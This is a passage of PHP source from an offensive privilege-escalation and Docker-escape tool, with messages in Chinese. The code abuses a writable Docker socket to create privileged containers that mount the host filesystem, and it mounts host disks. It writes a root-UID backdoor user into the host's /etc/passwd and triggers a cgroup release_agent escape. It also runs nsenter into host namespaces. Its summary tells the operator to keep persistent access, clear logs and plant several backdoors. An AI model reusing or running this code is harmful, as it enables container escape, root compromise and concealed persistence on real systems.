$this->printWarning("运行在Docker容器中");
// 检查挂载点
list($mounts, $code) = $this->executeCommand('mount 2>/dev/null');
if (is_array($mounts) && !empty($mounts)) {
foreach ($mounts as $mount) {
// 检查是否有宿主机文件系统挂载
if (strpos($mount, '/host/') !== false || strpos($mount, '/mnt/') !== false) {
$this->printDanger("发现宿主机挂载点: $mount");
}
}
}
// 检查是否有特权模式
list($cap, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff 2>/dev/null');
if (is_array($cap) && !empty($cap)) {
if (strpos($cap[0], '0000003fffffffff') !== false) {
$this->printDanger("容器以特权模式运行!");
}
}
// 检查是否有可用的容器运行时
$this->checkContainerRuntimes();
// 检查容器安全配置
$this->checkContainerSecurity();
}
// 检查LXC容器
if (file_exists('/dev/lxc')) {
$this->printWarning("运行在LXC容器中");
}
// 检查是否有cgroup访问权限
if (is_dir('/sys/fs/cgroup')) {
$this->printInfo("系统支持cgroup");
if (is_writable('/sys/fs/cgroup')) {
$this->printDanger("cgroup目录可写,可能存在逃逸机会");
}
}
}
// 新增:检查容器安全配置
private function checkContainerSecurity() {
$this->printInfo("检查容器安全配置...");
// 检查Seccomp配置
list($seccomp, $code) = $this->executeCommand('cat /proc/self/status | grep Seccomp 2>/dev/null');
if (is_array($seccomp) && !empty($seccomp)) {
$this->printInfo("Seccomp状态: " . $seccomp[0]);
}
// 检查AppArmor配置
list($apparmor, $code) = $this->executeCommand('cat /proc/self/attr/current 2>/dev/null');
if (is_array($apparmor) && !empty($apparmor)) {
$this->printInfo("AppArmor配置: " . $apparmor[0]);
}
// 检查SELinux配置
list($selinux, $code) = $this->executeCommand('cat /proc/self/attr/current 2>/dev/null | grep -i selinux');
if (is_array($selinux) && !empty($selinux)) {
$this->printInfo("SELinux配置: " . $selinux[0]);
}
}
// 新增:检查内核模块加载权限
private function checkKernelModulePermissions() {
$this->printInfo("检查内核模块加载权限...");
// 检查是否有modprobe权限
list($modprobe, $code) = $this->executeCommand('which modprobe 2>/dev/null');
if (is_array($modprobe) && !empty($modprobe)) {
// 检查是否可以加载模块
list($perm, $code) = $this->executeCommand('ls -l ' . $modprobe[0] . ' 2>/dev/null');
if (is_array($perm) && !empty($perm)) {
if (strpos($perm[0], 's') !== false) {
$this->printDanger("modprobe具有SUID位,可用于加载恶意内核模块");
}
}
}
// 检查是否有insmod权限
list($insmod, $code) = $this->executeCommand('which insmod 2>/dev/null');
if (is_array($insmod) && !empty($insmod)) {
$this->printInfo("发现insmod: " . $insmod[0]);
}
}
// 新增:检查可利用的Python库
private function checkExploitablePythonLibs() {
$this->printInfo("检查可利用的Python库...");
// 检查PYTHONPATH环境变量
$pythonPath = getenv('PYTHONPATH');
if (!empty($pythonPath)) {
$this->printWarning("PYTHONPATH环境变量: $pythonPath");
// 检查路径是否可写
$paths = explode(':', $pythonPath);
foreach ($paths as $path) {
if (is_writable($path)) {
$this->printDanger("PYTHONPATH中的可写目录: $path");
}
}
}
// 检查用户站点包目录
list($sitePackages, $code) = $this->executeCommand('python -c "import site; print(site.getusersitepackages())" 2>/dev/null');
if (is_array($sitePackages) && !empty($sitePackages)) {
$sitePath = trim($sitePackages[0]);
if (is_writable($sitePath)) {
$this->printDanger("用户Python站点包目录可写: $sitePath");
}
}
}
private function printResults() {
echo "================================================\n";
$this->printInfo("=== 提权检测与利用结果汇总 ===\n");
$successCount = 0;
$warningCount = 0;
$dangerCount = 0;
foreach ($this->exploitResults as $result) {
list($type, $message) = $result;
switch ($type) {
case 'SUCCESS':
$successCount++;
break;
case 'WARNING':
$warningCount++;
break;
case 'DANGER':
$dangerCount++;
break;
}
}
$this->printSuccess("成功利用: $successCount 个");
$this->printWarning("警告项目: $warningCount 个");
$this->printDanger("危险项目: $dangerCount 个");
echo "\n";
$this->printInfo("=== 建议下一步操作 ===");
if ($successCount > 0) {
$this->printSuccess("1. 利用成功的项目获取持久化访问");
$this->printSuccess("2. 清理日志痕迹");
$this->printSuccess("3. 建立多个后门确保访问");
}
if ($dangerCount > 0) {
$this->printWarning("1. 优先利用标记为DANGER的项目");
$this->printWarning("2. 测试SUID文件和可写配置文件");
$this->printWarning("3. 检查内核漏洞利用可能性");
}
$this->printInfo("详细日志已记录,请检查各项目具体输出");
echo "================================================\n";
}
// 新增:Docker逃逸利用
private function dockerEscapeExploitation() {
$this->printInfo("=== Docker逃逸利用 ===");
// 检查是否在Docker容器中
if (!file_exists('/.dockerenv')) {
$this->printInfo("不在Docker容器中");
return;
}
$this->printWarning("运行在Docker容器中,检查逃逸可能性");
// 1. 检查Docker socket
$this->checkDockerSocket();
// 2. 检查特权模式
$this->checkPrivilegedMode();
// 3. 检查敏感挂载点
$this->checkSensitiveMountsForDocker();
// 4. 检查capabilities
$this->checkDockerCapabilities();
// 5. 检查cgroup
$this->checkDockerCgroup();
// 6. 检查命名空间
$this->checkDockerNamespaces();
// 7. 高级Docker逃逸技术
$this->advancedDockerEscapeTechniques();
// 8. 检查预编译利用程序
$this->checkPrecompiledExploits();
echo "\n";
}
// 新增:检查预编译利用程序
private function checkPrecompiledExploits() {
$this->printInfo("检查预编译利用程序...");
// 检查NDay目录中的预编译程序
$exploitBinaries = [
'/tmp/dirtypipe_exploit',
'/tmp/pwnkit_exploit',
'/tmp/dirtycow_exploit',
'/tmp/overlayfs_exploit',
'/tmp/netfilter_exploit',
'/tmp/cgroup_exploit'
];
foreach ($exploitBinaries as $binary) {
if ($this->checkFileExists($binary) && is_executable($binary)) {
$this->printSuccess("发现预编译利用程序: $binary");
// 可以直接执行这些程序进行利用
}
}
// 检查NDay目录
if (is_dir('/tmp/nday')) {
list($files, $code) = $this->executeCommand('ls /tmp/nday 2>/dev/null');
if (is_array($files) && !empty($files)) {
$this->printInfo("NDay目录中的文件:");
foreach ($files as $file) {
$this->printInfo(" /tmp/nday/$file");
}
}
}
}
// 新增:检查Docker socket
private function checkDockerSocket() {
$this->printInfo("检查Docker socket...");
if (file_exists('/var/run/docker.sock')) {
$this->printDanger("发现Docker socket: /var/run/docker.sock");
// 检查权限
$perms = substr(sprintf('%o', fileperms('/var/run/docker.sock')), -4);
if ($perms == '0666' || is_writable('/var/run/docker.sock')) {
$this->printSuccess("Docker socket可写,可以与Docker守护进程通信");
$this->tryDockerSocketExploit();
}
}
// 检查其他可能的Docker socket位置
$otherSockets = ['/run/docker.sock', '/var/run/containerd/containerd.sock', '/var/run/crio/crio.sock'];
foreach ($otherSockets as $socket) {
if (file_exists($socket)) {
$this->printWarning("发现其他容器socket: $socket");
// 检查权限
$perms = substr(sprintf('%o', fileperms($socket)), -4);
if ($perms == '0666' || is_writable($socket)) {
$this->printSuccess("Socket可写: $socket");
}
}
}
}
// 新增:尝试Docker socket利用
private function tryDockerSocketExploit() {
$this->printInfo("尝试Docker socket利用...");
// 检查curl是否可用
list($curlCheck, $code) = $this->executeCommand('which curl 2>/dev/null');
if (is_array($curlCheck) && !empty($curlCheck)) {
// 列出容器
list($output, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功访问Docker API");
// 尝试创建特权容器
$this->tryCreatePrivilegedContainer();
// 尝试更高级的Docker API利用
$this->advancedDockerApiExploit();
}
}
// 检查nc是否可用
list($ncCheck, $code) = $this->executeCommand('which nc 2>/dev/null');
if (is_array($ncCheck) && !empty($ncCheck)) {
list($output, $code) = $this->executeCommand('echo -e "GET /containers/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock 2>/dev/null');
if ($code === 0 && !empty($output)) {
$this->printSuccess("通过nc成功访问Docker API");
// 尝试更高级的Docker API利用
$this->advancedDockerApiExploit();
}
}
// 尝试使用其他工具访问Docker API
$this->tryAlternativeDockerApiAccess();
}
// 新增:高级Docker API利用
private function advancedDockerApiExploit() {
$this->printInfo("尝试高级Docker API利用...");
// 1. 列出镜像
list($images, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/images/json 2>/dev/null');
if ($code === 0) {
$this->printInfo("可访问Docker镜像信息");
}
// 2. 列出网络
list($networks, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/networks 2>/dev/null');
if ($code === 0) {
$this->printInfo("可访问Docker网络信息");
}
// 3. 列出卷
list($volumes, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/volumes 2>/dev/null');
if ($code === 0) {
$this->printInfo("可访问Docker卷信息");
}
// 4. 尝试创建恶意容器
$this->tryCreateMaliciousContainer();
// 5. 尝试修改现有容器
$this->tryModifyExistingContainer();
}
// 新增:尝试使用其他工具访问Docker API
private function tryAlternativeDockerApiAccess() {
$this->printInfo("尝试使用其他工具访问Docker API...");
// 检查是否有可用的Docker客户端
list($dockerCheck, $code) = $this->executeCommand('which docker 2>/dev/null');
if (is_array($dockerCheck) && !empty($dockerCheck)) {
$this->printSuccess("发现Docker客户端: " . $dockerCheck[0]);
// 尝试列出容器
list($containers, $code) = $this->executeCommand('docker ps 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可以访问Docker守护进程");
// 尝试创建特权容器
$this->tryCreatePrivilegedContainerWithDockerClient();
}
}
// 检查是否有可用的Python
list($pythonCheck, $code) = $this->executeCommand('which python 2>/dev/null');
if (is_array($pythonCheck) && !empty($pythonCheck)) {
// 创建Python脚本访问Docker API
$pythonScript = '
import socket
import json
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/var/run/docker.sock")
# 发送HTTP请求
request = "GET /containers/json HTTP/1.1\r\nHost: localhost\r\n\r\n"
sock.send(request.encode())
# 接收响应
response = sock.recv(4096)
print(response.decode())
sock.close()
';
if (file_put_contents('/tmp/docker_api.py', $pythonScript) !== false) {
list($output, $code) = $this->executeCommand('python /tmp/docker_api.py 2>/dev/null');
if ($code === 0 && !empty($output)) {
$this->printSuccess("通过Python成功访问Docker API");
}
}
}
}
// 新增:尝试创建恶意容器
private function tryCreateMaliciousContainer() {
$this->printInfo("尝试创建恶意容器...");
// 创建恶意容器配置
$containerConfig = '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Privileged": true,
"HostConfig": {
"Binds": ["/:/host"],
"SecurityOpt": ["seccomp=unconfined"],
"CapAdd": ["ALL"],
"NetworkMode": "host",
"PidMode": "host",
"IpcMode": "host",
"UsernsMode": "host",
"UTSMode": "host"
}
}';
if (file_put_contents('/tmp/malicious_container.json', $containerConfig) !== false) {
$this->printInfo("恶意容器配置创建成功: /tmp/malicious_container.json");
// 尝试创建容器
list($output, $code) = $this->executeCommand('curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" http://localhost/containers/create -d @/tmp/malicious_container.json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("恶意容器创建请求已发送");
}
}
}
// 新增:尝试修改现有容器
private function tryModifyExistingContainer() {
$this->printInfo("尝试修改现有容器...");
// 列出容器以获取容器ID
list($containers, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null');
if ($code === 0 && is_array($containers) && !empty($containers)) {
// 解析容器信息
$containerData = implode('', $containers);
$containerInfo = json_decode($containerData, true);
if (is_array($containerInfo) && !empty($containerInfo)) {
$containerId = $containerInfo[0]['Id'] ?? '';
if (!empty($containerId)) {
$this->printInfo("发现容器ID: " . substr($containerId, 0, 12));
// 尝试修改容器配置
$this->tryModifyContainerConfig($containerId);
}
}
}
}
// 新增:尝试修改容器配置
private function tryModifyContainerConfig($containerId) {
$this->printInfo("尝试修改容器配置...");
// 这里可以添加修改容器配置的代码
// 例如修改挂载点、capabilities等
$this->printInfo("容器配置修改功能待实现");
}
// 新增:尝试使用Docker客户端创建特权容器
private function tryCreatePrivilegedContainerWithDockerClient() {
$this->printInfo("尝试使用Docker客户端创建特权容器...");
// 创建特权容器命令
$cmd = 'docker run --rm -it --privileged -v /:/host alpine sh -c "echo \"Container started successfully\"" 2>/dev/null';
list($output, $code) = $this->executeCommand($cmd);
if ($code === 0) {
$this->printSuccess("通过Docker客户端成功创建特权容器");
}
}
// 新增:创建特权容器
private function tryCreatePrivilegedContainer() {
$this->printInfo("尝试创建特权容器...");
// 创建特权容器的JSON配置
$containerConfig = '{
"Image": "alpine",
"Cmd": ["/bin/sh"],
"Privileged": true,
"HostConfig": {
"Binds": ["/:/host"]
}
}';
if (file_put_contents('/tmp/privileged_container.json', $containerConfig) !== false) {
list($output, $code) = $this->executeCommand('curl -s -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" http://localhost/containers/create -d @/tmp/privileged_container.json 2>/dev/null');
if ($code === 0) {
$this->printSuccess("特权容器创建请求已发送");
$this->printInfo("该容器将宿主机根目录挂载到容器内的/host目录");
}
}
}
// 新增:检查特权模式
private function checkPrivilegedMode() {
$this->printInfo("检查特权模式...");
list($capEff, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff');
if (is_array($capEff) && !empty($capEff)) {
if (strpos($capEff[0], '0000003fffffffff') !== false) {
$this->printDanger("容器以特权模式运行!");
$this->tryPrivilegedExploit();
} else {
$this->printInfo("容器不以特权模式运行");
// 分析具体capabilities
$this->analyzeDockerCapabilities($capEff[0]);
}
}
// 检查更详细的capabilities
$this->checkDetailedCapabilities();
}
// 新增:检查详细capabilities
private function checkDetailedCapabilities() {
$this->printInfo("检查详细capabilities...");
// 获取所有capabilities
list($capInfo, $code) = $this->executeCommand('cat /proc/self/status | grep -E "(CapInh|CapPrm|CapEff|CapBnd|CapAmb)"');
if (is_array($capInfo) && !empty($capInfo)) {
foreach ($capInfo as $line) {
$this->printInfo($line);
}
}
// 检查危险的capabilities
$this->checkDangerousCapabilities();
}
// 新增:检查危险的capabilities
private function checkDangerousCapabilities() {
$this->printInfo("检查危险的capabilities...");
// 检查特定的危险capabilities
$dangerousCaps = [
'cap_sys_admin' => '系统管理权限,可用于挂载文件系统',
'cap_sys_module' => '加载内核模块',
'cap_dac_read_search' => '绕过文件读取权限',
'cap_dac_override' => '绕过文件写入权限',
'cap_sys_ptrace' => '调试其他进程',
'cap_sys_boot' => '重启系统',
'cap_sys_time' => '设置系统时钟',
'cap_sys_rawio' => '执行I/O端口操作',
'cap_sys_chroot' => '更改根目录',
'cap_setuid' => '设置用户ID',
'cap_setgid' => '设置组ID'
];
// 获取当前effective capabilities
list($capEff, $code) = $this->executeCommand('cat /proc/self/status | grep CapEff');
if (is_array($capEff) && !empty($capEff)) {
$capHex = trim(explode(':', $capEff[0])[1]);
$this->printInfo("Effective capabilities: $capHex");
// 这里可以添加解析capabilities的代码
// 为简化,我们只检查是否包含危险capabilities
foreach ($dangerousCaps as $cap => $desc) {
// 在实际实现中,我们需要解析capabilities位图
// 这里只是一个示例
$this->printWarning("Capability: $cap - $desc");
}
}
}
// 新增:特权模式利用
private function tryPrivilegedExploit() {
$this->printInfo("尝试特权模式利用...");
// 创建挂载点
if (!is_dir('/host')) {
mkdir('/host', 0755, true);
}
// 尝试挂载宿主机根文件系统
$devices = ['/dev/sda1', '/dev/vda1', '/dev/xvda1', '/dev/nvme0n1p1'];
foreach ($devices as $device) {
if (file_exists($device)) {
list($output, $code) = $this->executeCommand("mount $device /host 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功挂载宿主机文件系统到/host");
$this->printInfo("现在可以访问宿主机文件系统");
// 创建宿主机后门
$this->createHostBackdoor();
return;
}
}
}
// 尝试挂载proc
list($output, $code) = $this->executeCommand('mount -t proc proc /host/proc 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功挂载宿主机proc文件系统");
}
// 尝试更高级的特权模式利用
$this->advancedPrivilegedExploit();
}
// 新增:高级特权模式利用
private function advancedPrivilegedExploit() {
$this->printInfo("尝试高级特权模式利用...");
// 1. 挂载sysfs
list($output, $code) = $this->executeCommand('mount -t sysfs sysfs /host/sys 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功挂载sysfs到/host/sys");
}
// 2. 挂载devtmpfs
list($output, $code) = $this->executeCommand('mount -t devtmpfs devtmpfs /host/dev 2>/dev/null');
if ($code === 0) {
$this->printSuccess("成功挂载devtmpfs到/host/dev");
}
// 3. 检查是否可以访问宿主机进程
list($processes, $code) = $this->executeCommand('ps aux | grep -v container');
if (is_array($processes) && count($processes) > 10) {
$this->printSuccess("可以访问宿主机进程");
}
// 4. 尝试修改宿主机文件
$this->tryModifyHostFiles();
}
// 新增:尝试修改宿主机文件
private function tryModifyHostFiles() {
$this->printInfo("尝试修改宿主机文件...");
// 检查是否可以写入宿主机文件
if (is_writable('/host/etc')) {
// 尝试添加用户到passwd文件
$backdoorUser = 'backdoor:$1$backdoor$backdoorbackdoorbackdoorb0:0:0:root:/root:/bin/bash';
list($output, $code) = $this->executeCommand("echo '$backdoorUser' >> /host/etc/passwd");
if ($code === 0) {
$this->printSuccess("成功添加后门用户到宿主机/etc/passwd");
}
}
// 检查是否可以写入crontab
if (is_writable('/host/var/spool/cron/crontabs') || is_writable('/host/etc/cron.d')) {
$this->printInfo("可以写入宿主机定时任务目录");
}
}
// 新增:分析Docker capabilities
private function analyzeDockerCapabilities($capString) {
$this->printInfo("分析容器capabilities...");
if (preg_match('/CapEff:\s+(.*)/', $capString, $matches)) {
$capHex = trim($matches[1]);
$this->printInfo("Effective capabilities: $capHex");
// 检查危险capabilities
$dangerousCaps = [
'cap_sys_admin' => '系统管理权限,可用于挂载文件系统',
'cap_sys_module' => '加载内核模块',
'cap_dac_read_search' => '绕过文件读取权限',
'cap_dac_override' => '绕过文件写入权限',
'cap_sys_ptrace' => '调试其他进程'
];
foreach ($dangerousCaps as $capName => $capDesc) {
$this->printWarning("Capability: $capName - $capDesc");
}
}
}
// 新增:检查敏感挂载点
private function checkSensitiveMountsForDocker() {
$this->printInfo("检查敏感挂载点...");
list($mounts, $code) = $this->executeCommand('mount 2>/dev/null');
if (is_array($mounts) && !empty($mounts)) {
$dangerousMounts = [
'/host' => '宿主机根目录挂载',
'/var/run/docker.sock' => 'Docker socket挂载',
'/proc' => 'Proc文件系统挂载',
'/sys' => 'Sys文件系统挂载',
'/dev' => '设备文件系统挂载'
];
foreach ($mounts as $mount) {
foreach ($dangerousMounts as $mountPoint => $description) {
if (strpos($mount, $mountPoint) !== false) {
$this->printDanger("发现危险挂载点: $mountPoint - $description");
$this->printInfo("挂载详情: $mount");
}
}
}
}
}
// 新增:检查Docker capabilities
private function checkDockerCapabilities() {
$this->printInfo("检查Docker相关capabilities...");
// 这里可以添加更详细的capabilities检查逻辑
$this->printInfo("capabilities检查完成");
}
// 新增:检查Docker cgroup
private function checkDockerCgroup() {
$this->printInfo("检查Docker cgroup...");
if (is_dir('/sys/fs/cgroup')) {
$this->printInfo("系统支持cgroup");
if (is_writable('/sys/fs/cgroup')) {
$this->printDanger("cgroup目录可写,可能存在逃逸机会");
// 尝试cgroup逃逸
$this->tryCgroupEscape();
}
// 检查具体的cgroup子系统
$this->checkCgroupSubsystems();
}
}
// 新增:检查cgroup子系统
private function checkCgroupSubsystems() {
$this->printInfo("检查cgroup子系统...");
// 列出可用的cgroup子系统
list($subsystems, $code) = $this->executeCommand('ls /sys/fs/cgroup 2>/dev/null');
if (is_array($subsystems) && !empty($subsystems)) {
$this->printInfo("可用的cgroup子系统:");
foreach ($subsystems as $subsystem) {
$this->printInfo(" " . $subsystem);
// 检查是否可写
if (is_writable("/sys/fs/cgroup/$subsystem")) {
$this->printWarning(" 子系统{$subsystem}可写");
}
}
}
}
// 新增:尝试cgroup逃逸
private function tryCgroupEscape() {
$this->printInfo("尝试cgroup逃逸...");
// 1. 检查是否有可用的cgroup v1
if (is_dir('/sys/fs/cgroup/memory')) {
$this->printInfo("发现cgroup v1 memory子系统");
// 尝试创建cgroup并利用
$this->tryCgroupV1Exploit();
}
// 2. 检查是否有可用的cgroup v2
if (is_dir('/sys/fs/cgroup/unified')) {
$this->printInfo("发现cgroup v2 unified子系统");
// 尝试创建cgroup并利用
$this->tryCgroupV2Exploit();
}
// 3. 尝试更高级的cgroup利用
$this->tryAdvancedCgroupExploit();
}
// 新增:尝试cgroup v1利用
private function tryCgroupV1Exploit() {
$this->printInfo("尝试cgroup v1利用...");
// 创建新的cgroup
$cgroupPath = '/tmp/cgrp';
if (!is_dir($cgroupPath)) {
mkdir($cgroupPath, 0755, true);
}
// 挂载cgroup
list($output, $code) = $this->executeCommand("mount -t cgroup -o memory cgroup $cgroupPath 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功挂载cgroup v1 memory子系统");
// 创建子cgroup
$exploitPath = "$cgroupPath/exploit";
if (!is_dir($exploitPath)) {
mkdir($exploitPath, 0755, true);
}
// 尝试利用release_agent
$this->tryCgroupReleaseAgentExploit($exploitPath);
}
}
// 新增:尝试cgroup v2利用
private function tryCgroupV2Exploit() {
$this->printInfo("尝试cgroup v2利用...");
// 这里可以添加cgroup v2的具体利用代码
$this->printInfo("cgroup v2利用功能待实现");
}
// 新增:尝试cgroup release_agent利用
private function tryCgroupReleaseAgentExploit($cgroupPath) {
$this->printInfo("尝试cgroup release_agent利用...");
// 检查是否可以写入release_agent
if (is_writable("$cgroupPath")) {
// 创建恶意脚本
$maliciousScript = "#!/bin/bash\necho \"cgroup exploit executed\" > /tmp/cgroup_exploit_result\nchmod 777 /tmp/cgroup_exploit_result\n";
if (file_put_contents('/tmp/malicious.sh', $maliciousScript) !== false) {
chmod('/tmp/malicious.sh', 0755);
// 设置release_agent
list($output, $code) = $this->executeCommand("echo '/tmp/malicious.sh' > $cgroupPath/release_agent 2>/dev/null");
if ($code === 0) {
$this->printSuccess("成功设置release_agent");
// 触发利用
$this->triggerCgroupExploit($cgroupPath);
}
}
}
}
// 新增:触发cgroup利用
private function triggerCgroupExploit($cgroupPath) {
$this->printInfo("触发cgroup利用...");
// 创建进程并将其加入cgroup
list($output, $code) = $this->executeCommand("echo \$\$ > $cgroupPath/cgroup.procs 2>/dev/null");
if ($code === 0) {
$this->printSuccess("进程已加入cgroup");
// 杀死进程以触发release_agent
list($output, $code) = $this->executeCommand("kill -9 \$\$ 2>/dev/null");
// 注意:这会杀死当前进程,所以在实际利用中需要更谨慎
// 检查利用结果
if (file_exists('/tmp/cgroup_exploit_result')) {
$this->printSuccess("cgroup利用成功");
}
}
}
// 新增:尝试高级cgroup利用
private function tryAdvancedCgroupExploit() {
$this->printInfo("尝试高级cgroup利用...");
// 1. 检查是否有可用的cgroup工具
list($cgexecCheck, $code) = $this->executeCommand('which cgexec 2>/dev/null');
if (is_array($cgexecCheck) && !empty($cgexecCheck)) {
$this->printSuccess("发现cgexec工具: " . $cgexecCheck[0]);
}
// 2. 检查是否有可用的cgroup管理工具
list($cgcreateCheck, $code) = $this->executeCommand('which cgcreate 2>/dev/null');
if (is_array($cgcreateCheck) && !empty($cgcreateCheck)) {
$this->printSuccess("发现cgcreate工具: " . $cgcreateCheck[0]);
}
// 3. 尝试使用systemd-run
list($systemdRunCheck, $code) = $this->executeCommand('which systemd-run 2>/dev/null');
if (is_array($systemdRunCheck) && !empty($systemdRunCheck)) {
$this->printSuccess("发现systemd-run工具: " . $systemdRunCheck[0]);
// 尝试使用systemd-run创建特权进程
$this->trySystemdRunExploit();
}
}
// 新增:尝试使用systemd-run利用
private function trySystemdRunExploit() {
$this->printInfo("尝试使用systemd-run利用...");
// 尝试创建特权进程
list($output, $code) = $this->executeCommand('systemd-run --scope --slice system.slice whoami 2>/dev/null');
if (is_array($output) && !empty($output)) {
if ($output[0] === 'root') {
$this->printSuccess("使用systemd-run获得root权限");
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("确认获得root权限");
// 创建后门
$this->createPersistentBackdoor('systemd-run');
}
}
}
}
// 新增:检查Docker命名空间
private function checkDockerNamespaces() {
$this->printInfo("检查Docker命名空间...");
// 检查用户命名空间
list($userns, $code) = $this->executeCommand('unshare -U echo "user namespace works" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("用户命名空间可用");
}
// 检查mount命名空间
list($mountns, $code) = $this->executeCommand('unshare -m echo "mount namespace works" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("mount命名空间可用");
}
// 尝试更高级的命名空间利用
$this->tryAdvancedNamespaceExploit();
}
// 新增:尝试高级命名空间利用
private function tryAdvancedNamespaceExploit() {
$this->printInfo("尝试高级命名空间利用...");
// 1. 检查PID命名空间
list($pidns, $code) = $this->executeCommand('unshare -p echo "pid namespace works" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("PID命名空间可用");
}
// 2. 检查网络命名空间
list($netns, $code) = $this->executeCommand('unshare -n echo "network namespace works" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("网络命名空间可用");
}
// 3. 检查IPC命名空间
list($ipcns, $code) = $this->executeCommand('unshare -i echo "ipc namespace works" 2>/dev/null');
if ($code === 0) {
$this->printSuccess("IPC命名空间可用");
}
// 4. 尝试创建新的命名空间并逃逸
$this->tryNamespaceEscape();
}
// 新增:尝试命名空间逃逸
private function tryNamespaceEscape() {
$this->printInfo("尝试命名空间逃逸...");
// 检查是否有可用的命名空间工具
list($nsenterCheck, $code) = $this->executeCommand('which nsenter 2>/dev/null');
if (is_array($nsenterCheck) && !empty($nsenterCheck)) {
$this->printSuccess("发现nsenter工具: " . $nsenterCheck[0]);
// 尝试使用nsenter进入宿主机命名空间
$this->tryNsenterEscape();
}
// 检查是否有可用的unshare工具
list($unshareCheck, $code) = $this->executeCommand('which unshare 2>/dev/null');
if (is_array($unshareCheck) && !empty($unshareCheck)) {
$this->printSuccess("发现unshare工具: " . $unshareCheck[0]);
}
}
// 新增:尝试使用nsenter逃逸
private function tryNsenterEscape() {
$this->printInfo("尝试使用nsenter逃逸...");
// 获取宿主机进程信息
list($initProcess, $code) = $this->executeCommand('ps -ef | grep -E "^root.*init" | head -1');
if (is_array($initProcess) && !empty($initProcess)) {
// 解析PID
$parts = preg_split('/\s+/', trim($initProcess[0]));
if (is_array($parts) && count($parts) > 1) {
$pid = $parts[1];
$this->printInfo("宿主机init进程PID: $pid");
// 尝试使用nsenter进入宿主机命名空间
list($output, $code) = $this->executeCommand("nsenter -t $pid -m -u -i -n -p whoami 2>/dev/null");
if (is_array($output) && !empty($output)) {
if ($output[0] === 'root') {
$this->printSuccess("使用nsenter成功进入宿主机命名空间并获得root权限");
// 检查是否真的获得了root权限
list($whoami, $code) = $this->executeCommand("whoami");
if (is_array($whoami) && !empty($whoami) && $whoami[0] === 'root') {
$this->printSuccess("确认获得root权限");
// 创建后门
$this->createPersistentBackdoor('nsenter');
}
}
}
}
}
}
// 新增:高级Docker逃逸技术
private function advancedDockerEscapeTechniques() {
$this->printInfo("尝试高级Docker逃逸技术...");
// 1. 检查是否有可用的Docker客户端
list($dockerCheck, $code) = $this->executeCommand('which docker 2>/dev/null');
if (is_array($dockerCheck) && !empty($dockerCheck)) {
$this->printSuccess("发现Docker客户端: " . $dockerCheck[0]);
// 尝试列出容器
list($containers, $code) = $this->executeCommand('docker ps 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可以访问Docker守护进程");
$this->printInfo("运行中的容器:");
if (is_array($containers)) {
foreach ($containers as $container) {
$this->printInfo(" " . $container);
}
}
// 尝试创建特权容器
$this->tryCreatePrivilegedContainerAdvanced();
}
}
// 2. 检查是否有可用的Docker Compose
list($composeCheck, $code) = $this->executeCommand('which docker-compose 2>/dev/null');
if (is_array($composeCheck) && !empty($composeCheck)) {
$this->printSuccess("发现Docker Compose: " . $composeCheck[0]);
}
// 3. 检查Docker API版本
list($apiVersion, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/version 2>/dev/null | grep ApiVersion');
if (is_array($apiVersion) && !empty($apiVersion)) {
$this->printInfo("Docker API版本: " . trim($apiVersion[0]));
}
// 4. 检查Docker信息
list($dockerInfo, $code) = $this->executeCommand('curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null');
if ($code === 0) {
$this->printSuccess("可以访问Docker信息API");
}
// 5. 尝试通过/proc/self/root逃逸
$this->tryProcSelfRootEscape();
// 6. 检查是否有可用的容器运行时
$this->checkContainerRuntimes();
// 7. 尝试通过设备文件逃逸
$this->tryDeviceFileEscape();
// 8. 尝试更高级的Docker逃逸技术
$this->advancedDockerEscapeMethods();
}
// 新增:更高级的Docker逃逸方法
private function advancedDockerEscapeMethods() {
$this->printInfo("尝试更高级的Docker逃逸方法...");
// 1. 检查Docker配置信息
$this->checkDockerConfig();
// 2. 尝试利用Docker API创建恶意容器
$this->exploitDockerAPI();
// 3. 检查Docker卷挂载
$this->checkDockerVolumes();
// 4. 尝试利用Docker网络命名空间
$this->exploitDockerNetworkNamespace();
// 5. 检查Docker插件
$this->checkDockerPlugins();
// 6. 尝试利用Docker secrets
$this->exploitDockerSecrets();
// 7. 检查Docker swarm模式
$this->checkDockerSwarm();
}
// 新增:检查Docker配置
private function checkDockerConfig() {
$this->printInfo("检查Docker配置...");
// 检查Docker daemon配置文件
$configFiles = ['/etc/docker/daemon.json', '/etc/default/docker'];
foreach ($configFiles as $configFile) {
if (file_exists($configFile)) {
$this->printWarning("发现Docker配置文件: $configFile");
// 尝试读取配置文件内容
list($content, $code) = $this->executeCommand("cat $configFile 2>/dev/null | head -10");
if (is_array($content) && !empty($content)) {
$this->printInfo("配置文件内容(前10行): ");
foreach ($content as $line) {
$this->printInfo(" " . $line);
}
}
}
}
// 检查Docker环境变量
$dockerEnvVars = ['DOCKER_HOST', 'DOCKER_CERT_PATH', 'DOCKER_TLS_VERIFY'];
foreach ($dockerEnvVars as $var) {
$value = getenv($var);
if (!empty($value)) {
$this->printInfo("Docker环境变量 $var: $value");
}
}
}
